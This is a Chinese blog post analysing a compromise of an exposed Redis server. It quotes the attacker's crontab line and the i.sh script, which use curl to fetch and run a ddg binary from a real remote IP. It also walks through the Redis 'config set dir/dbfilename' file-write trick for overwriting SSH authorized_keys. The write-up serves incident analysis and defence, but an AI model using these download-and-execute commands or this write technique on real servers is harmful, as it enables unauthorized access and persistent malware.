> ## Content Index
> Fetch the complete content index at: https://blog.hacking.pub/llms.txt
> Use this file to discover other available public pages before exploring further.

# Redis入侵服务器
- URL: https://blog.hacking.pub/2017/04/18/redisru-qin-fu-wu-qi/
- Published: 2017-04-18T01:47:40.000Z
- Updated: 2017-04-18T04:15:44.000Z
- Author: chainhelen
- Tags: redis, 入侵, 集群

#### redis集群

之前打算用redis作为session的缓存，然后让同事去配置了redis集群。测试环境流程ok，在生产环境并没有直接合入，只是单纯地搭建了redis集群数据库。

#### 发现问题

因为我们有自动化备份数据，利用linux自带的cron工具，每天凌晨2点去执行备份数据库脚本，但是我们运维人员某天去检查的时候，发现当天的凌晨2点并没有产生备份数据库。沿着线索发现cron的文本已经被修改了

#### 

```bash
cd /var/spool/cron/crontabs/   //文件位置
cat root  //查看文件

REDIS0007dis-ver3.2.8edis-bitsctimeXed-mem
*/1 * * * * curl -L http://218.38.3.16:9999/i.sh?6379 | sh
test1SUCCESSkey1

```

那么这个.sh是什么？

```
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.1007" ]; then
    curl -fsSL http://218.38.3.16:9999/1007/ddg.$(uname -m) -o /tmp/ddg.1007
chmod +x /tmp/ddg.1007 && /tmp/ddg.1007
fi

```

从代码内容上可以看见，前几行都是生成上面相应的.sh定时任务  
`curl`下载了ddg.xxx的elf格式文件，$(uname -m) 是为了兼容系统版本，`chmod + x`使其可执行，最后再执行文件  
[文件链接](http://ogqj342jq.bkt.clouddn.com/ddg.x86%5F64?ref=blog.hacking.pub) ，以后能有较强逆向能力的时候，再去分析这个文件

#### 延伸

在参考里面可以看到一些文章，情况类似，把本机(192.168.0.1)文件1.txt内容写到肉鸡服务器(192.168.0.2)上/var/2.txt

**1**.首页由于redis的端口暴露在公网，并且用户名/密码比较弱，被黑掉；假设肉鸡hostip是192.168.0.1，爆破密码是ruqin123456

**2**.在本机linux上输入

```
//两个前后两个回车，是为了把1.txt单独做一组公钥校验
(echo -e "\n\n"; cat 1.txt; echo -e "\n\n") > 1s.txt
cat 1s.txt | redis-cli -h 192.168.0.2  -a ruqin123456 -x set output

```

这样，就能把1.txt文件内容写到redis数据库里面，其中key为output，value为1.txt文件内容

**3**.此时，在192.168.0.1上再开一个终端，连接上192.168.0.2的redis

```
redis-cli -h 192.168.0.2  -a ruqin123456
192.168.0.2:6379> get output

```

可以查看到数据

```
192.168.0.2:6379> get output
192.168.0.2:6379> flushall  
192.168.0.2:6379> config set dir /var/
192.168.0.2:6379> config dbfilename "2.txt"
192.168.0.2:6379> save

```

上面命令就可以保存数据到/var/2.txt  
但是新版本redis，会在save的时候，首尾添加部分信息  
按照之前的版本，上述方式就可以覆盖ssh登录的`authorized_keys`  
黑客就可以免密码登录了

---

参考

> [redis crackit入侵事件总结](http://blog.csdn.net/u012573259/article/details/51803447?ref=blog.hacking.pub)  
> [记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)v](http://blog.csdn.net/whs%5F321/article/details/51734602?ref=blog.hacking.pub)